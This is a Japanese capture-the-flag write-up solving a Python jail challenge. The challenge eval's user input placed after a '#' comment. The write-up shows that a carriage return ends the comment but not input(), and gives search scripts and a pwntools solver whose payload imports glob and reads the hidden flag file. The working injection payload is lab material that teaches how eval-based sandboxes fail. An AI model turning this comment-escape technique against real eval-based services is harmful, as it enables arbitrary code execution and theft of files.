Daily AlpacaHackでの、2026/01/14出題のfree-comment問題のwrite-up記事です。
[Misc, Hard] freee-comment
Topic: Jail
pyjailの世界へようこそ (nc接続先省略)
配布ファイルの本体server.pyは、わずか1行の内容でした:
print(eval(f"# {input('> ')}\n'Hi!'"))
実質的に、次のPythonコードをevalするときに任意コード実行させる問題でした:
# ここに入力文字列が入る 'Hi!'
フラグの書かれたファイルは/flag-$(md5sum flag.txt | cut -c-32).txtと、予想できないファイル名でした。そのファイルをなんとかして読み込む必要がある問題でした。
本記事ではThe Python Language Referenceを出典にして解説します。なお本記事執筆時点ではPython 3.14.2 documentation内容です。もしかしたら将来バージョンでは番号付け等が変化しているかもしれません。
Pythonのコメントの終端になる文字は何ぞや
input関数へ与える内容は、#の後ろに結合されて実行されます。PythonのLanguage Referenceを参照すると、2.1.3. Commentsに次の記述があります:
A comment starts with a hash character (#) that is not part of a string literal, and ends at the end of the physical line. (中略) Comments are ignored by the syntax.
#文字からコメントが始まり、physical lineの末尾でコメントが終了するとあります。加えてコメントは無視されるとあります。本問題で困る点です。
physical lineという用語が登場したので定義を調べます。2.1.2. Physical linesに次の記述があります:
A physical line is a sequence of characters terminated by one the following end-of-line sequences: - the Unix form using ASCII LF (linefeed), - the Windows form using the ASCII sequence CR LF (return followed by linefeed), - the ‘Classic Mac OS’ form using the ASCII CR (return) character. Regardless of platform, each of these sequences is replaced by a single ASCII LF (linefeed) character. (This is done even inside string literals.)(中略) Formally: newline: <ASCII LF> | <ASCII CR> <ASCII LF> | <ASCII CR>
LFか、CRか、CRLFのいずれかが登場するとphysical lineの末尾になることが記述されています。
ついでに本記事執筆中に初めて知った点として、文字列リテラルの内部であっても改行文字類はLFへ置き換えられるとのことです。一種の正規化と言えるでしょう。Git経由でのやり取りでソースコードの改行コードが変化しても、例えばlongstring中の改行文字はLFに保たれるようです!
physical lineの実験
実験してみます。PythonのREPLを起動して次の3行を入力してみます:
eval("# foo\rbar") eval("# foo\nbar") eval("# foo\r\nbar")
入力すると、それぞれの行でNameError: name 'bar' is not definedエラーが発生しました。3種類の改行文字すべてで# fooのコメント行に終端しており、barをコメントから脱出させて新しい行にし、コメント外の通常のコードの文脈でbarを評価した結果がNameErrorになります。
なおDaily AlpacaHack当日ではLanguage Referenceまでは参照せず、次のコードを実行して探索していました:
#!/usr/bin/env python3 import subprocess import tqdm for i in tqdm.trange(0x01, 0x1F_FFFF): completed_process = subprocess.run( ["python3", "-c", "# A" + chr(i) + "print('Hello')"], input="A" + chr(i) + "B", capture_output=True, text=True, ) completed_process.check_returncode() if "Hello" in completed_process.stdout: print(f"{i = }, {chr(i) = }")
実行すると次の出力を得られます(全探索は時間がかかるので途中で打ち切りました):
$ ./search.py i = 10, chr(i) = '\n' i = 13, chr(i) = '\r'
1文字の範囲では、\nのLFと\rのCRがコメントを終端させることが分かります。
Pythonのinput関数の終端になる文字は何ぞや
input関数を含めたbuilt-in関数のドキュメントはThe Python Standard Libraryにあります。input関数のドキュメントに次の記述があります:
If the prompt argument is present, it is written to standard output without a trailing newline. The function then reads a line from input, converts it to a string (stripping a trailing newline), and returns that. (省略)
lineを読み込んで、文字列として返すことが書かれています。しかし残念ながら、lineやnewline用語は未定義のように見受けられます(実はどこかでnewlineを定義している等でしたらコメントいただけると助かります)。
試しにCPythonでのinput関数の実装を調べてみます。bltinmodule.cファイルのbuiltin_input_impl関数が、Pythonのinput関数の実装本体のようです。builtin_input_impl関数の最後では、実質的にPyFile_GetLine(fin, -1)結果を戻り値として返しています。
PyFile_GetLine関数の実装は次の内容です:
PyObject * PyFile_GetLine(PyObject *f, int n) { PyObject *result; // 略 if (n <= 0) { result = PyObject_CallMethodNoArgs(f, &_Py_ID(readline)); } else { result = _PyObject_CallMethod(f, &_Py_ID(readline), "i", n); } // 略 if (/* 略 */) { // 略 else if (s[len-1] == '\n') { (void) _PyBytes_Resize(&result, len-1); } } if (/* 略 */) { // 略 else if (PyUnicode_READ_CHAR(result, len-1) == '\n') { PyObject *v; v = PyUnicode_Substring(result, 0, len-1); Py_SETREF(result, v); } } return result; }
どうやら、PyFile_GetLine関数では、何らかのオブジェクトのreadlineメソッドを使って一行を読み込み、読み込み結果の行末が\nのLFである場合はLFを除去しているようです。LFの除去処理は、built-inであるinput関数のドキュメントにあるstripping a trailing newlineを行うために見受けられます。ここで注目したい点は、\nのLFのみを行末判定に使用している点です。\rのCRや\r\nのCRLFの場合を判定していません。このことから、input関数のドキュメントにあるnewlineとは、\nのLFのみを指すのかもしれない、と推測できます。
なお、readlineメソッドの実装は追いきれませんでした。
input関数の実験
実験してみます。ただREPLではinput関数を実験しづらいと思います。Daily AlpacaHack当日では、次のコードを実行して探索していました:
#!/usr/bin/env python3 import subprocess import tqdm for i in tqdm.trange(0x01, 0x1F_FFFF): completed_process = subprocess.run( ["python3", "-c", "print(input())"], input="A" + chr(i) + "Hello", capture_output=True, text=True, ) if "Hello" not in completed_process.stdout: tqdm.tqdm.write(f"{i = }, {chr(i) = }")
実行すると次の出力を得られます(全探索は時間がかかるので途中で打ち切りました):
$ ./search.py i = 10, chr(i) = '\n'
1文字の範囲では、\nのLFのみがinput関数の入力を終端させることが分かります。
\rが改行に含まれるか含まれないかの挙動の差で解く
ここまでで、次のことが分かりました:
#によるコメントは、\nか\rかのどちらかで終端になります。input関数への入力は、\nでのみ終端になります。\rでは終端にならず、input関数結果の戻り値に含められそうです!
このことから、server.pyへの入力に\rを含めると、eval関数で実行される内容は次のようにできます:
# \rまでの入力文字 \rからの入力文字 'Hi!'
\r以降の内容はコメントから脱出させられて、eval関数に実行される内容に入力内容を含められます!
なおeval関数は1つの式(6. Expressions)のみを実行できます。一方で今回の問題では使われていないexec関数では任意個数の文(7. Simple statements、8. Compound statements)を実行できます。
eval関数は1つの式だけを実行できるため、\n'Hi!'も含めて1つの式として解釈させる必要があります。私の場合、バックスラッシュ\を使って行を結合させる(2.1.5. Explicit line joining)ことで、'Hi!'文字列リテラルを含めて1つの式にしました。
最終的なソルバーとフラグ
ここまでで、eval関数で任意処理を実行できる目処がつきました。後は、__import__関数でglobモジュールをインポートして、glob.glob関数でルートディレクトリにあるflagから始まるファイル名を取得し、open関数でファイルを開いて読み込むことで、server.py中のprint(eval(...))を使ってフラグ内容を表示するソルバーを書きました:
#!/usr/bin/env python3 import pwn # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): payload = """\ropen(__import__('glob').glob("/flag*")[0]).read() + 'a' + \\""" io.sendlineafter(b"> ", payload.encode()) io.stream(line_mode=False) # fmt: off # with pwn.process(["python3", "jail.py"]) as io: solve(io) # with pwn.remote("localhost", 1337) as io: solve(io) with pwn.remote("198.51.100.1", 26254) as io: solve(io)
実行しました:
$ ./solve.py
[+] Opening connection to 198.51.100.1 on port 26254: Done
Alpaca{:ultrafastparrot:_pyjail_:ultrafastparrot:}
aHi!
[*] Closed connection to 198.51.100.1 port 26254
フラグを入手できました: Alpaca{:ultrafastparrot:_pyjail_:ultrafastparrot:}
感想
- 本記事を書くときに、The Python Language Referenceを頑張って読みました。言語仕様としては厳密に記述されていました!
- 一方で、ライブラリ関数側はドキュメントを読んでもわからないことがありました。Pythonの場合、
input関数に限らずしばしば遭遇する印象です……。 - Daily AlpacaHackの問題らしく、シンプルながらも面白い問題でした!